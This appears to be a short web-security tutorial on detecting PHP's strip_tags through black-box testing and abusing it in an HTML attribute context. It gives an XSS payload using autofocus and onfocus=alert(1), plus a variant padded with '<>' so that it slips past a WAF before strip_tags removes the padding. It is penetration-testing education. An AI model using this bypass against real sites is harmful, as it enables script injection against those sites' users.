Black box exploitation is always hard. PHP offers many options to help you prevent XSS attacks. Here are a few:
strip_tags(...)
htmlentities(...)
htmlspecialchars(...)
filter_input(...)
urlencode(...)
It may be hard to distinguish which of these functions are used in the application you are testing. There might also be a combination of these used to prevent XSS attacks.
How to detect strip_tags
through black box testing?
- Everything between
<
and>
is removed. - A special case is when only the opening tag
<
exist but not the closing>
. In this case, everything after the<
will be truncated.
Example of characteristics:
strip_tags("foo<bar>") => "foobar"
strip_tags("foo<bar.....") => "foo"
strip_tags("foobar>") => "foobar>"
How to abuse strip_tags
Let’s say you find a parameter that is vulnerable to XSS.
<input class="input" data-id="{XSS}" value="test" />
You try a simple alert payload
<input class="input" data-id="" autofocus onfocus=alert(1) value="test" />
Result: Error 500: Blocked by WAF…
Finding a WAF bypass can often be tiresome and require very creative payloads.
Let´s say the PHP code looks something like this
<input class="input" data-id="<?=strip_tags($_GET['id-test']);?>" value="test" />
Sometimes we can abuse strip_tags if it’s used in the wrong context, like in this case.
Since we are in the attribute context, we do not need to open any tags (<..>) for our payload to work. Looking at our payload " autofocus onfocus=alert(1)
that was blocked by the WAF.
What happens if we apply <>
to our payload:
/?id-test="<> au<>tof<>ocus o<>nfo<>cus=<>al<>ert<>(1<>)
- The WAF will allow this payload as it’s just gibberish.
- PHP see our payload and apply
strip_tags
to our string and remove all<>
. - Our payload will trigger the XSS:
<input class="input" data-id="" autofocus onfocus=alert(1) value="test" />
Summary
If strip_tags
is used in the wrong web context, we can abuse this by adding <>
to our payload which will trick the WAF into thinking this payload is allowed. When PHP later processes our payload it will remove all the <>
and thus revealing our battle-ready XSS payload.